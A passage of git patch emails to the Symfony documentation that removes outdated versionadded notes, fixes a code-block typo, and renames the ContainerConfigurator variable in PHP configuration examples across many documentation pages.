 must type-hint its argument with ``ContainerInterface``. Then, you can get any of
 the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
 
-The same behavior can be achieved using the ``#[TaggedLocator]`` attribute. This
-attribute must be directly used on a ``ServiceLocator`` argument::
-
-    // src/HandlerCollection.php
-    namespace App;
-
-    use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
-    use Symfony\Component\DependencyInjection\ServiceLocator;
-
-    class HandlerCollection
-    {
-        public function __construct(#[TaggedLocator('app.handler')] ServiceLocator $locator)
-        {
-        }
-    }
-
 .. versionadded:: 5.3
 
     The ``#[TaggedLocator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
diff --git a/service_container/tags.rst b/service_container/tags.rst
index bda979d6a6b..8e990dadee0 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -524,6 +524,9 @@ all services tagged with ``app.handler`` into its constructor argument::
         }
     }
 
+Symfony allows you to inject the services using YAML/XML/PHP configuration or
+directly via PHP attributes:
+
 .. configuration-block::
 
     .. code-block:: php-attributes

From 9a2b2612dd33ec2a15646c5ccce5973b01c94f04 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 17:01:13 +0100
Subject: [PATCH 2691/5766] Remove some unneeded versionadded directives

---
 service_container/service_subscribers_locators.rst | 4 ----
 service_container/tags.rst                         | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 3a5c24e7b0a..a1947135635 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -339,10 +339,6 @@ As shown in the previous sections, the constructor of the ``CommandBus`` class
 must type-hint its argument with ``ContainerInterface``. Then, you can get any of
 the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
 
-.. versionadded:: 5.3
-
-    The ``#[TaggedLocator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
-
 Reusing a Service Locator in Multiple Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8e990dadee0..599e83d42ff 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -607,10 +607,6 @@ directly via PHP attributes:
             ;
         };
 
-.. versionadded:: 5.3
-
-    The ``#[TaggedIterator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
-
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 48621f3d0d21d50c510464c1d83ac44c1a58b393 Mon Sep 17 00:00:00 2001
From: Agustin Gomes <me@agustingomes.com>
Date: Thu, 5 Jan 2023 18:59:17 +0100
Subject: [PATCH 2692/5766] Fix build by correcting a typo

Signed-off-by: Agustin Gomes <me@agustingomes.com>
---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a7d9971b8db..aca2c8de45c 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -269,7 +269,7 @@ or directly via PHP attributes:
 
 .. configuration-block::
 
-    .. conde-block:: php-attributes
+    .. code-block:: php-attributes
 
         // src/CommandBus.php
         namespace App;

From a9cbf8bba0d9135a4033ea3efab5e7d13f82ac13 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 5 Jan 2023 23:10:23 +0100
Subject: [PATCH 2693/5766] Standardize the name of the container configurator
 variable

---
 bundles/best_practices.rst                    |  4 +-
 bundles/prepend_extension.rst                 |  6 +--
 cache.rst                                     |  4 +-
 components/dependency_injection.rst           |  6 +--
 .../_imports-parameters-note.rst.inc          |  4 +-
 .../http_foundation/session_configuration.rst |  4 +-
 components/serializer.rst                     |  4 +-
 components/uid.rst                            |  2 +-
 components/var_dumper.rst                     |  4 +-
 configuration.rst                             | 52 +++++++++----------
 configuration/micro_kernel_trait.rst          | 14 ++---
 configuration/multiple_kernels.rst            | 12 ++---
 controller/argument_value_resolver.rst        |  4 +-
 controller/upload_file.rst                    |  4 +-
 doctrine/events.rst                           | 12 ++---
 event_dispatcher.rst                          |  4 +-
 frontend/custom_version_strategy.rst          |  4 +-
 messenger/multiple_buses.rst                  |  4 +-
 profiler/data_collector.rst                   |  4 +-
 reference/dic_tags.rst                        |  8 +--
 routing/custom_route_loader.rst               |  4 +-
 security.rst                                  |  4 +-
 service_container.rst                         | 22 ++++----
 service_container/alias_private.rst           | 20 +++----
 service_container/autowiring.rst              | 10 ++--
 service_container/calls.rst                   |  2 +-
 service_container/configurators.rst           |  8 +--
 service_container/expression_language.rst     |  6 +--
 service_container/factories.rst               | 16 +++---
 service_container/import.rst                  |  8 +--
 service_container/injection_types.rst         | 12 ++---
 service_container/lazy_services.rst           |  8 +--
 service_container/optional_dependencies.rst   |  8 +--
 service_container/parent_services.rst         |  8 +--
 service_container/service_decoration.rst      | 32 ++++++------
 .../service_subscribers_locators.rst          | 24 ++++-----
 service_container/shared.rst                  |  4 +-
 service_container/synthetic_services.rst      |  4 +-
 service_container/tags.rst                    | 40 +++++++-------
 session.rst                                   |  4 +-
 session/database.rst                          | 16 +++---
 testing.rst                                   |  4 +-
 42 files changed, 212 insertions(+), 212 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 4ef81080637..f1c8e4ad555 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -442,8 +442,8 @@ The end user can provide values in any configuration file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->parameters()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->parameters()
                 ->set('acme_blog.author.email', 'fabien@example.com')
             ;
         };
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index fe551f31083..9478f045f46 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -145,13 +145,13 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
         // config/packages/acme_something.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('acme_something', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('acme_something', [
                 // ...
                 'use_acme_goodbye' => false,
                 'entity_manager_name' => 'non_default',
             ]);
-            $container->extension('acme_other', [
+            $containerConfigurator->extension('acme_other', [
                 // ...
                 'use_acme_goodbye' => false,
             ]);
diff --git a/cache.rst b/cache.rst
index aff21f9c030..1676fc0773c 100644
--- a/cache.rst
+++ b/cache.rst
@@ -387,8 +387,8 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $configurator) {
-                $configurator->services()
+            return function(ContainerConfigurator $containerConfigurator) {
+                $containerConfigurator->services()
                     // ...
 
                     ->set('app.cache.adapter.redis')
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index c2239a9225b..470bcc7f2fc 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -291,13 +291,13 @@ config files:
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->parameters()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->parameters()
                 // ...
                 ->set('mailer.transport', 'sendmail')
             ;
 
-            $services = $container->services();
+            $services = $containerConfigurator->services();
             $services->set('mailer', 'Mailer')
                 ->args(['%mailer.transport%'])
             ;
diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index 50c6b736353..1df99833e86 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -31,6 +31,6 @@
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $container) {
-                $container->import('%kernel.project_dir%/somefile.yaml');
+            return static function (ContainerConfigurator $containerConfigurator) {
+                $containerConfigurator->import('%kernel.project_dir%/somefile.yaml');
             };
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index 36ca212b006..f8efaf0fd18 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -200,8 +200,8 @@ configuration:
         // config/packages/framework.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('framework', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('framework', [
                 'session' => [
                     'gc_probability' => null,
                 ],
diff --git a/components/serializer.rst b/components/serializer.rst
index cfe3930f028..adeb1328c2b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -998,8 +998,8 @@ faster alternative to the
 
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        return static function (ContainerConfigurator $container) {
-            $container->services()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 // ...
                 ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
                     ->tag('serializer.normalizer')
diff --git a/components/uid.rst b/components/uid.rst
index c2a0c79315b..32cf9211e79 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -452,7 +452,7 @@ configuration in your application before using these commands:
         use Symfony\Component\Uid\Command\InspectUlidCommand;
         use Symfony\Component\Uid\Command\InspectUuidCommand;
 
-        return static function (ContainerConfigurator $configurator): void {
+        return static function (ContainerConfigurator $containerConfigurator): void {
             // ...
 
             $services
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index af68586de50..480ec326967 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -147,8 +147,8 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the
         // config/packages/debug.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('debug', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('debug', [
                 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
             ]);
         };
diff --git a/configuration.rst b/configuration.rst
index 4265c1419b2..d88b72ad3af 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -78,18 +78,18 @@ shown in these three formats.
         {
             // ...
 
-            private function configureContainer(ContainerConfigurator $container): void
+            private function configureContainer(ContainerConfigurator $containerConfigurator): void
             {
                 $configDir = $this->getConfigDir();
 
-                $container->import($configDir.'/{packages}/*.{yaml,php}');
-                $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
+                $containerConfigurator->import($configDir.'/{packages}/*.{yaml,php}');
+                $containerConfigurator->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
 
                 if (is_file($configDir.'/services.yaml')) {
-                    $container->import($configDir.'/services.yaml');
-                    $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                    $containerConfigurator->import($configDir.'/services.yaml');
+                    $containerConfigurator->import($configDir.'/{services}_'.$this->environment.'.yaml');
                 } else {
-                    $container->import($configDir.'/{services}.php');
+                    $containerConfigurator->import($configDir.'/{services}.php');
                 }
             }
         }
@@ -163,17 +163,17 @@ configuration files, even if they use a different format:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->import('legacy_config.php');
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->import('legacy_config.php');
 
             // glob expressions are also supported to load multiple files
-            $container->import('/etc/myapp/*.yaml');
+            $containerConfigurator->import('/etc/myapp/*.yaml');
 
             // the third optional argument of import() is 'ignore_errors'
             // 'ignore_errors' set to 'not_found' silently discards errors if the loaded file doesn't exist
-            $container->import('my_config_file.yaml', null, 'not_found');
+            $containerConfigurator->import('my_config_file.yaml', null, 'not_found');
             // 'ignore_errors' set to true silently discards all errors (including invalid code and not found)
-            $container->import('my_config_file.yaml', null, true);
+            $containerConfigurator->import('my_config_file.yaml', null, true);
         };
 
         // ...
@@ -262,8 +262,8 @@ reusable configuration value. By convention, parameters are defined under the
 
         use App\Entity\BlogPost;
 
-        return static function (ContainerConfigurator $container) {
-            $container->parameters()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->parameters()
                 // the parameter name is an arbitrary string (the 'app.' prefix is recommended
                 // to better differentiate your parameters from Symfony parameters).
                 ->set('app.admin_email', 'something@example.com')
@@ -334,8 +334,8 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
         // config/packages/some_package.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('some_package', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('some_package', [
                 // any string surrounded by two % is replaced by that parameter value
                 'email_address' => '%app.admin_email%',
 
@@ -371,8 +371,8 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $container) {
-                $container->parameters()
+            return static function (ContainerConfigurator $containerConfigurator) {
+                $containerConfigurator->parameters()
                     ->set('url_pattern', 'http://symfony.com/?foo=%%s&amp;bar=%%d');
             };
 
@@ -508,7 +508,7 @@ files directly in the ``config/packages/`` directory.
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
             use Symfony\Config\WebpackEncoreConfig;
 
-            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container) {
+            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $containerConfigurator) {
                 $webpackEncore
                     ->outputPath('%kernel.project_dir%/public/build')
                     ->strictMode(true)
@@ -516,12 +516,12 @@ files directly in the ``config/packages/`` directory.
                 ;
 
                 // cache is enabled only in the "prod" environment
-                if ('prod' === $container->env()) {
+                if ('prod' === $containerConfigurator->env()) {
                     $webpackEncore->cache(true);
                 }
 
                 // disable strict mode only in the "test" environment
-                if ('test' === $container->env()) {
+                if ('test' === $containerConfigurator->env()) {
                     $webpackEncore->strictMode(false);
                 }
             };
@@ -642,8 +642,8 @@ This example shows how you could configure the database connection using an env
         // config/packages/doctrine.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('doctrine', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('doctrine', [
                 'dbal' => [
                     // by convention the env var names are always uppercase
                     'url' => env('DATABASE_URL')->resolve(),
@@ -991,8 +991,8 @@ doesn't work for parameters:
 
         use App\Service\MessageGenerator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->parameters()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->parameters()
                 ->set('app.contents_dir', '...');
 
             $container->services()
@@ -1048,8 +1048,8 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
 
         use App\Controller\LuckyController;
 
-        return static function (ContainerConfigurator $container) {
-            $container->services()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->defaults()
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index e08787d136d..ce4b0ac46c2 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -43,10 +43,10 @@ Next, create an ``index.php`` file that defines the kernel class and runs it::
             ];
         }
 
-        protected function configureContainer(ContainerConfigurator $c): void
+        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
         {
             // PHP equivalent of config/packages/framework.yaml
-            $c->extension('framework', [
+            $containerConfigurator->extension('framework', [
                 'secret' => 'S0ME_SECRET'
             ]);
         }
@@ -88,7 +88,7 @@ that define your bundles, your services and your routes:
 **registerBundles()**
     This is the same ``registerBundles()`` that you see in a normal kernel.
 
-**configureContainer(ContainerConfigurator $c)**
+**configureContainer(ContainerConfigurator $containerConfigurator)**
     This method builds and configures the container. In practice, you will use
     ``extension()`` to configure different bundles (this is the equivalent
     of what you see in a normal ``config/packages/*`` file). You can also register
@@ -191,12 +191,12 @@ hold the kernel. Now it looks like this::
             return $bundles;
         }
 
-        protected function configureContainer(ContainerConfigurator $c): void
+        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
         {
-            $c->import(__DIR__.'/../config/framework.yaml');
+            $containerConfigurator->import(__DIR__.'/../config/framework.yaml');
 
             // register all classes in /src/ as service
-            $c->services()
+            $containerConfigurator->services()
                 ->load('App\\', __DIR__.'/*')
                 ->autowire()
                 ->autoconfigure()
@@ -204,7 +204,7 @@ hold the kernel. Now it looks like this::
 
             // configure WebProfilerBundle only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
-                $c->extension('web_profiler', [
+                $containerConfigurator->extension('web_profiler', [
                     'toolbar' => true,
                     'intercept_redirects' => false,
                 ]);
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index bec83cb530c..f840b2875f5 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -106,16 +106,16 @@ files so they don't collide with the files from ``src/Kernel.php``::
             return $this->getProjectDir().'/var/log/api';
         }
 
-        protected function configureContainer(ContainerConfigurator $container): void
+        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
         {
-            $container->import('../config/api/{packages}/*.yaml');
-            $container->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
+            $containerConfigurator->import('../config/api/{packages}/*.yaml');
+            $containerConfigurator->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
 
             if (is_file(\dirname(__DIR__).'/config/api/services.yaml')) {
-                $container->import('../config/api/services.yaml');
-                $container->import('../config/api/{services}_'.$this->environment.'.yaml');
+                $containerConfigurator->import('../config/api/services.yaml');
+                $containerConfigurator->import('../config/api/{services}_'.$this->environment.'.yaml');
             } else {
-                $container->import('../config/api/{services}.php');
+                $containerConfigurator->import('../config/api/{services}.php');
             }
         }
 
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 2cea87964ab..0670357bb0f 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -233,8 +233,8 @@ and adding a priority.
 
         use App\ArgumentResolver\UserValueResolver;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(UserValueResolver::class)
                 ->tag('controller.argument_value_resolver', ['priority' => 50])
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 8f64fb10f80..46cf3230566 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -321,8 +321,8 @@ Then, define a service for this class:
 
         use App\Service\FileUploader;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(FileUploader::class)
                 ->arg('$targetDirectory', '%brochures_directory%')
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 89cfb269447..bb9517aff19 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -227,8 +227,8 @@ with the ``doctrine.event_listener`` tag:
 
         use App\EventListener\SearchIndexer;
 
-        return static function (ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // listeners are applied by default to all Doctrine connections
             $services->set(SearchIndexer::class)
@@ -360,8 +360,8 @@ with the ``doctrine.orm.entity_listener`` tag:
         use App\Entity\User;
         use App\EventListener\UserChangedNotifier;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(UserChangedNotifier::class)
                 ->tag('doctrine.orm.entity_listener', [
@@ -501,8 +501,8 @@ Doctrine connection to use) you must do that in the manual service configuration
 
         use App\EventListener\DatabaseActivitySubscriber;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(DatabaseActivitySubscriber::class)
                 ->tag('doctrine.event_subscriber'[
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 3c6020c145d..f10a93bc90f 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -104,8 +104,8 @@ using a special "tag":
 
         use App\EventListener\ExceptionListener;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(ExceptionListener::class)
                 ->tag('kernel.event_listener', ['event' => 'kernel.exception'])
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 336acfbd295..8a5d77cae5e 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -144,8 +144,8 @@ After creating the strategy PHP class, register it as a Symfony service.
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Component\DependencyInjection\Definition;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(GulpBusterVersionStrategy::class)
                 ->args(
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 724c58d5e3f..dba1ebf5930 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -207,8 +207,8 @@ you can determine the message bus based on an implemented interface:
         use App\MessageHandler\CommandHandlerInterface;
         use App\MessageHandler\QueryHandlerInterface;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // ...
 
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index ef377c47974..44545614da2 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -290,8 +290,8 @@ you'll need to configure the data collector explicitly:
 
         use App\DataCollector\RequestCollector;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(RequestCollector::class)
                 ->tag('data_collector', [
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index e163756835e..14227fe6b9e 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -122,8 +122,8 @@ services:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
             $services->set('app.postgresql_lock', PostgresqlLock::class);
@@ -184,8 +184,8 @@ the generic ``app.lock`` service can be defined as follows:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
             $services->set('app.postgresql_lock', PostgresqlLock::class);
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index c9b2853088a..b8b9f4c1d76 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -331,8 +331,8 @@ Now define a service for the ``ExtraLoader``:
 
         use App\Routing\ExtraLoader;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(ExtraLoader::class)
                 ->tag('routing.loader')
diff --git a/security.rst b/security.rst
index 51bd9f2a8d9..13743996749 100644
--- a/security.rst
+++ b/security.rst
@@ -2601,8 +2601,8 @@ for these events.
 
             use App\EventListener\LogoutSubscriber;
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            return function(ContainerConfigurator $containerConfigurator) {
+                $services = $containerConfigurator->services();
 
                 $services->set(LogoutSubscriber::class)
                     ->tag('kernel.event_subscriber', [
diff --git a/service_container.rst b/service_container.rst
index f7b29b86ee3..c9628c19628 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -212,9 +212,9 @@ each time you ask for it.
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $configurator) {
+            return function(ContainerConfigurator $containerConfigurator) {
                 // default configuration for services in *this* file
-                $services = $configurator->services()
+                $services = $containerConfigurator->services()
                     ->defaults()
                         ->autowire()      // Automatically injects dependencies in your services.
                         ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
@@ -505,7 +505,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             // same as before
@@ -580,8 +580,8 @@ parameter and in PHP config use the ``service()`` function:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MessageGenerator::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -687,7 +687,7 @@ But, you can control this and pass in a different logger:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ... same code as before
 
             // explicitly configure the service
@@ -788,8 +788,8 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
         use Symfony\Component\DependencyInjection\Definition;
         use Symfony\Component\DependencyInjection\Reference;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services()
                 ->defaults()
                     // pass this value to any $adminEmail argument for any service
                     // that's defined in this file (including controller arguments)
@@ -923,7 +923,7 @@ setting:
 
         use App\Service\PublicService;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ... same as code before
 
             // explicitly configure the service
@@ -980,7 +980,7 @@ key. For example, the default Symfony configuration contains this:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             // makes classes in src/ available to be used as services
@@ -1162,7 +1162,7 @@ admin email. In this case, each needs to have a unique service id:
         use App\Service\MessageGenerator;
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             // site_update_manager.superadmin is the service's id
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index da8eaf86328..7f39478a247 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -58,8 +58,8 @@ You can also control the ``public`` option on a service-by-service basis:
 
         use App\Service\Foo;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Foo::class)
                 ->public();
@@ -130,8 +130,8 @@ services.
 
         use App\Mail\PhpMailer;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PhpMailer::class)
                 ->private();
@@ -278,8 +278,8 @@ The following example shows how to inject an anonymous service into another serv
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Foo::class)
                 // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
@@ -330,8 +330,8 @@ Using an anonymous service as a factory looks like this:
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(Foo::class)
                 ->factory([inline_service(AnonymousBar::class), 'constructFoo']);
@@ -376,8 +376,8 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
         use App\Service\OldService;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(OldService::class)
                 ->deprecate(
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index bb89ee3451a..d74b445a054 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -107,8 +107,8 @@ both services:
     .. code-block:: php
 
         // config/services.php
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services()
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
@@ -246,7 +246,7 @@ adding a service alias:
 
         use App\Util\Rot13Transformer;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
             // ...
 
             // the id is not a class, so it won't be used for autowiring
